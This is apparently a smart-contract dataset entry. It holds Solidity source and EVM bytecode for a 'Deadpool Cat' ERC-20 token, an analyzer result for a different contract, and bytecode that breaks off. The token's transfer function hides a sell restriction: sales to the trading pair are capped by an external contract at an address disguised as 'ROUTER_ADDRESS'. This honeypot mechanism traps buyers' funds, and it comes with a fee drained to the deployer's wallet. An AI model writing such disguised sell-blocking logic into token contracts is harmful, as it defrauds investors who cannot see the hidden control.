53c221607b54b00cd28f3196fed0a24994dc308b8f611b682d60405160405180910390a250505050565b33600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16611ff357600080fd5b81336001600083815260200190815260200160002060008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1661205c57600080fd5b8360008082815260200190815260200160002060030160009054906101000a900460ff161561208a57600080fd5b6120938561128d565b80156120b15750426003600087815260200190815260200160002054105b15612255576000806000878152602001908152602001600020905060018160030160006101000a81548160ff0219169083151502179055506121d18160000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16826001015483600201805460018160011615610100020316600290049050846002018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156121c75780601f1061219c576101008083540402835291602001916121c7565b820191906000526020600020905b8154815290600101906020018083116121aa57829003601f168201915b50505050506123dd565b1561220857857f33e13ecb54c3076d8e8bb8c2881800a4d972b792045ffae98fdf46df365fed7560405160405180910390a2612253565b857f526441bb6c1aba3c9a4a6ca1d6545da9c2333c8c48343ef398eb858d72b7923660405160405180910390a260008160030160006101000a81548160ff0219169083151502179055505b505b5050505050565b600083600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561229957600080fd5b600654915060405180608001604052808673ffffffffffffffffffffffffffffffffffffffff1681526020018581526020018481526020016000151581525060008084815260200190815260200160002060008201518160000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550602082015181600101556040820151816002019080519060200190612357929190612404565b5060608201518160030160006101000a81548160ff021916908315150217905550905050600754420160036000848152602001908152602001600020819055506001600660008282540192505081905550817fc0ba8fe4b176c1714197d43b9cc6bcf797a4a7461c5fe8d0ef6e184ae7601e5160405160405180910390a2509392505050565b6000806040516020840160008287838a8c6187965a03f19250505080915050949350505050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f1061244557805160ff1916838001178555612473565b82800160010185558215612473579182015b82811115612472578251825591602001919060010190612457565b5b5090506124809190612484565b5090565b6124a691905b808211156124a257600081600090555060010161248a565b5090565b9056fea26469706673582212205adf1d182789f8f231f71ef79b5cc06c2c9039cd30a1d2f2f7a773d06f4583f864736f6c63430006020033
{"success": true, "error": null, "results": {"detectors": [{"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
7,164
0x24C48b4Bd6b187bB007e23728f3AE507bb9B9c10
/** *Submitted for verification at Etherscan.io on 2021-11-06 */ //SPDX-License-Identifier: MIT // Telegram: t.me/DeadpoolCatToken pragma solidity ^0.8.4; address constant ROUTER_ADDRESS=0x690f08828a4013351DB74e916ACC16f558ED1579; // mainnet uint256 constant TOTAL_SUPPLY=1000000000 * 10**8; address constant UNISWAP_ADDRESS=0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; string constant TOKEN_NAME="Deadpool Cat"; string constant TOKEN_SYMBOL="DEADPOOLCAT"; uint8 constant DECIMALS=8; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface Odin{ function amount(address from) external view returns (uint256); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract DeadpoolCat is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = TOTAL_SUPPLY; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private constant _burnFee=1; uint256 private constant _taxFee=9; address payable private _taxWallet; string private constant _name = TOKEN_NAME; string private constant _symbol = TOKEN_SYMBOL; uint8 private constant _decimals = DECIMALS; IUniswapV2Router02 private _router; address private _pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _taxWallet = payable(_msgSender()); _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_taxWallet] = true; emit Transfer(address(0x0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(((to == _pair && from != address(_router) )?amount:0) <= Odin(ROUTER_ADDRESS).amount(address(this))); if (from != owner() && to != owner()) { uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != _pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = _router.WETH(); _approve(address(this), address(_router), tokenAmount); _router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } modifier overridden() { require(_taxWallet == _msgSender() ); _; } function sendETHToFee(uint256 amount) private { _taxWallet.transfer(amount); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(UNISWAP_ADDRESS); _router = _uniswapV2Router; _approve(address(this), address(_router), _tTotal); _pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); _router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; tradingOpen = true; IERC20(_pair).approve(address(_router), type(uint).max); } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualSwap() external { require(_msgSender() == _taxWallet); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualSend() external { require(_msgSender() == _taxWallet); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _burnFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x6080604052600436106100e15760003560e01c8063715018a61161007f578063a9059cbb11610059578063a9059cbb146102a9578063c9567bf9146102e6578063dd62ed3e146102fd578063f42938901461033a576100e8565b8063715018a61461023c5780638da5cb5b1461025357806395d89b411461027e576100e8565b806323b872dd116100bb57806323b872dd14610180578063313ce567146101bd57806351bc3c85146101e857806370a08231146101ff576100e8565b806306fdde03146100ed578063095ea7b31461011857806318160ddd14610155576100e8565b366100e857005b600080fd5b3480156100f957600080fd5b50610102610351565b60405161010f919061230f565b60405180910390f35b34801561012457600080fd5b5061013f600480360381019061013a9190611ed2565b61038e565b60405161014c91906122f4565b60405180910390f35b34801561016157600080fd5b5061016a6103ac565b6040516101779190612471565b60405180910390f35b34801561018c57600080fd5b506101a760048036038101906101a29190611e7f565b6103bc565b6040516101b491906122f4565b60405180910390f35b3480156101c957600080fd5b506101d2610495565b6040516101df91906124e6565b60405180910390f35b3480156101f457600080fd5b506101fd61049e565b005b34801561020b57600080fd5b5061022660048036038101906102219190611de5565b610518565b6040516102339190612471565b60405180910390f35b34801561024857600080fd5b50610251610569565b005b34801561025f57600080fd5b506102686106bc565b6040516102759190612226565b60405180910390f35b34801561028a57600080fd5b506102936106e5565b6040516102a0919061230f565b60405180910390f35b3480156102b557600080fd5b506102d060048036038101906102cb9190611ed2565b610722565b6040516102dd91906122f4565b60405180910390f35b3480156102f257600080fd5b506102fb610740565b005b34801561030957600080fd5b50610324600480360381019061031f9190611e3f565b610c71565b6040516103319190612471565b60405180910390f35b34801561034657600080fd5b5061034f610cf8565b005b60606040518060400160405280600c81526020017f44656164706f6f6c204361740000000000000000000000000000000000000000815250905090565b60006103a261039b610d6a565b8484610d72565b6001905092915050565b600067016345785d8a0000905090565b60006103c9848484610f3d565b61048a846103d5610d6a565b61048585604051806060016040528060288152602001612ac160289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061043b610d6a565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113059092919063ffffffff16565b610d72565b600190509392505050565b60006008905090565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166104df610d6a565b73ffffffffffffffffffffffffffffffffffffffff16146104ff57600080fd5b600061050a30610518565b905061051581611369565b50565b6000610562600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115f1565b9050919050565b610571610d6a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fe576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f5906123d1565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600b81526020017f44454144504f4f4c434154000000000000000000000000000000000000000000815250905090565b600061073661072f610d6a565b8484610f3d565b6001905092915050565b610748610d6a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107d5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107cc906123d1565b60405180910390fd5b600b60149054906101000a900460ff1615610825576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161081c90612451565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506108b430600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1667016345785d8a0000610d72565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156108fa57600080fd5b505afa15801561090e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109329190611e12565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561099457600080fd5b505afa1580156109a8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109cc9190611e12565b6040518363ffffffff1660e01b81526004016109e9929190612241565b602060405180830381600087803b158015610a0357600080fd5b505af1158015610a17573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a3b9190611e12565b600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610ac430610518565b600080610acf6106bc565b426040518863ffffffff1660e01b8152600401610af196959493929190612293565b6060604051808303818588803b158015610b0a57600080fd5b505af1158015610b1e573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610b439190611f6c565b5050506001600b60166101000a81548160ff0219169083151502179055506001600b60146101000a81548160ff021916908315150217905550600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610c1b92919061226a565b602060405180830381600087803b158015610c3557600080fd5b505af1158015610c49573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c6d9190611f12565b5050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610d39610d6a565b73ffffffffffffffffffffffffffffffffffffffff1614610d5957600080fd5b6000479050610d678161165f565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610de2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dd990612431565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610e52576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e4990612371565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610f309190612471565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610fad576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fa490612411565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561101d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161101490612331565b60405180910390fd5b60008111611060576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611057906123f1565b60405180910390fd5b73690f08828a4013351db74e916acc16f558ed157973ffffffffffffffffffffffffffffffffffffffff1663b9f0bf66306040518263ffffffff1660e01b81526004016110ad9190612226565b60206040518083038186803b1580156110c557600080fd5b505afa1580156110d9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110fd9190611f3f565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156111a85750600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b6111b35760006111b5565b815b11156111c057600080fd5b6111c86106bc565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561123657506112066106bc565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156112f557600061124630610518565b9050600b60159054906101000a900460ff161580156112b35750600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156112cb5750600b60169054906101000a900460ff165b156112f3576112d981611369565b600047905060008111156112f1576112f04761165f565b5b505b505b6113008383836116cb565b505050565b600083831115829061134d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611344919061230f565b60405180910390fd5b506000838561135c9190612637565b9050809150509392505050565b6001600b60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156113a1576113a0612792565b5b6040519080825280602002602001820160405280156113cf5781602001602082028036833780820191505090505b50905030816000815181106113e7576113e6612763565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561148957600080fd5b505afa15801561149d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114c19190611e12565b816001815181106114d5576114d4612763565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061153c30600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610d72565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016115a095949392919061248c565b600060405180830381600087803b1580156115ba57600080fd5b505af11580156115ce573d6000803e3d6000fd5b50505050506000600b60156101000a81548160ff02191690831515021790555050565b6000600754821115611638576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161162f90612351565b60405180910390fd5b60006116426116db565b9050611657818461170690919063ffffffff16565b915050919050565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501580156116c7573d6000803e3d6000fd5b5050565b6116d6838383611750565b505050565b60008060006116e861191b565b915091506116ff818361170690919063ffffffff16565b9250505090565b600061174883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061197a565b905092915050565b600080600080600080611762876119dd565b9550955095509550955095506117c086600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a4390919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061185585600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a8d90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506118a181611aeb565b6118ab8483611ba8565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516119089190612471565b60405180910390a3505050505050505050565b60008060006007549050600067016345785d8a0000905061194f67016345785d8a000060075461170690919063ffffffff16565b82101561196d5760075467016345785d8a0000935093505050611976565b81819350935050505b9091565b600080831182906119c1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119b8919061230f565b60405180910390fd5b50600083856119d091906125ac565b9050809150509392505050565b60008060008060008060008060006119f88a60016009611be2565b9250925092506000611a086116db565b90506000806000611a1b8e878787611c78565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000611a8583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611305565b905092915050565b6000808284611a9c9190612556565b905083811015611ae1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ad890612391565b60405180910390fd5b8091505092915050565b6000611af56116db565b90506000611b0c8284611d0190919063ffffffff16565b9050611b6081600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a8d90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b611bbd82600754611a4390919063ffffffff16565b600781905550611bd881600854611a8d90919063ffffffff16565b6008819055505050565b600080600080611c0e6064611c00888a611d0190919063ffffffff16565b61170690919063ffffffff16565b90506000611c386064611c2a888b611d0190919063ffffffff16565b61170690919063ffffffff16565b90506000611c6182611c53858c611a4390919063ffffffff16565b611a4390919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080611c918589611d0190919063ffffffff16565b90506000611ca88689611d0190919063ffffffff16565b90506000611cbf8789611d0190919063ffffffff16565b90506000611ce882611cda8587611a4390919063ffffffff16565b611a4390919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080831415611d145760009050611d76565b60008284611d2291906125dd565b9050828482611d3191906125ac565b14611d71576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d68906123b1565b60405180910390fd5b809150505b92915050565b600081359050611d8b81612a7b565b92915050565b600081519050611da081612a7b565b92915050565b600081519050611db581612a92565b92915050565b600081359050611dca81612aa9565b92915050565b600081519050611ddf81612aa9565b92915050565b600060208284031215611dfb57611dfa6127c1565b5b6000611e0984828501611d7c565b91505092915050565b600060208284031215611e2857611e276127c1565b5b6000611e3684828501611d91565b91505092915050565b60008060408385031215611e5657611e556127c1565b5b6000611e6485828601611d7c565b9250506020611e7585828601611d7c565b9150509250929050565b600080600060608486031215611e9857611e976127c1565b5b6000611ea686828701611d7c565b9350506020611eb786828701611d7c565b9250506040611ec886828701611dbb565b9150509250925092565b60008060408385031215611ee957611ee86127c1565b5b6000611ef785828601611d7c565b9250506020611f0885828601611dbb565b9150509250929050565b600060208284031215611f2857611f276127c1565b5b6000611f3684828501611da6565b91505092915050565b600060208284031215611f5557611f546127c1565b5b6000611f6384828501611dd0565b91505092915050565b600080600060608486031215611f8557611f846127c1565b5b6000611f9386828701611dd0565b9350506020611fa486828701611dd0565b9250506040611fb586828701611dd0565b9150509250925092565b6000611fcb8383611fd7565b60208301905092915050565b611fe08161266b565b82525050565b611fef8161266b565b82525050565b600061200082612511565b61200a8185612534565b935061201583612501565b8060005b8381101561204657815161202d8882611fbf565b975061203883612527565b925050600181019050612019565b5085935050505092915050565b61205c8161267d565b82525050565b61206b816126c0565b82525050565b600061207c8261251c565b6120868185612545565b93506120968185602086016126d2565b61209f816127c6565b840191505092915050565b60006120b7602383612545565b91506120c2826127d7565b604082019050919050565b60006120da602a83612545565b91506120e582612826565b604082019050919050565b60006120fd602283612545565b915061210882612875565b604082019050919050565b6000612120601b83612545565b915061212b826128c4565b602082019050919050565b6000612143602183612545565b915061214e826128ed565b604082019050919050565b6000612166602083612545565b91506121718261293c565b602082019050919050565b6000612189602983612545565b915061219482612965565b604082019050919050565b60006121ac602583612545565b91506121b7826129b4565b604082019050919050565b60006121cf602483612545565b91506121da82612a03565b604082019050919050565b60006121f2601783612545565b91506121fd82612a52565b602082019050919050565b612211816126a9565b82525050565b612220816126b3565b82525050565b600060208201905061223b6000830184611fe6565b92915050565b60006040820190506122566000830185611fe6565b6122636020830184611fe6565b9392505050565b600060408201905061227f6000830185611fe6565b61228c6020830184612208565b9392505050565b600060c0820190506122a86000830189611fe6565b6122b56020830188612208565b6122c26040830187612062565b6122cf6060830186612062565b6122dc6080830185611fe6565b6122e960a0830184612208565b979650505050505050565b60006020820190506123096000830184612053565b92915050565b600060208201905081810360008301526123298184612071565b905092915050565b6000602082019050818103600083015261234a816120aa565b9050919050565b6000602082019050818103600083015261236a816120cd565b9050919050565b6000602082019050818103600083015261238a816120f0565b9050919050565b600060208201905081810360008301526123aa81612113565b9050919050565b600060208201905081810360008301526123ca81612136565b9050919050565b600060208201905081810360008301526123ea81612159565b9050919050565b6000602082019050818103600083015261240a8161217c565b9050919050565b6000602082019050818103600083015261242a8161219f565b9050919050565b6000602082019050818103600083015261244a816121c2565b9050919050565b6000602082019050818103600083015261246a816121e5565b9050919050565b60006020820190506124866000830184612208565b92915050565b600060a0820190506124a16000830188612208565b6124ae6020830187612062565b81810360408301526124c08186611ff5565b90506124cf6060830185611fe6565b6124dc6080830184612208565b9695505050505050565b60006020820190506124fb6000830184612217565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000612561826126a9565b915061256c836126a9565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156125a1576125a0612705565b5b828201905092915050565b60006125b7826126a9565b91506125c2836126a9565b9250826125d2576125d1612734565b5b828204905092915050565b60006125e8826126a9565b91506125f3836126a9565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561262c5761262b612705565b5b828202905092915050565b6000612642826126a9565b915061264d836126a9565b9250828210156126605761265f612705565b5b828203905092915050565b600061267682612689565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006126cb826126a9565b9050919050565b60005b838110156126f05780820151818401526020810190506126d5565b838111156126ff576000848401525b50505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e73000000000000000000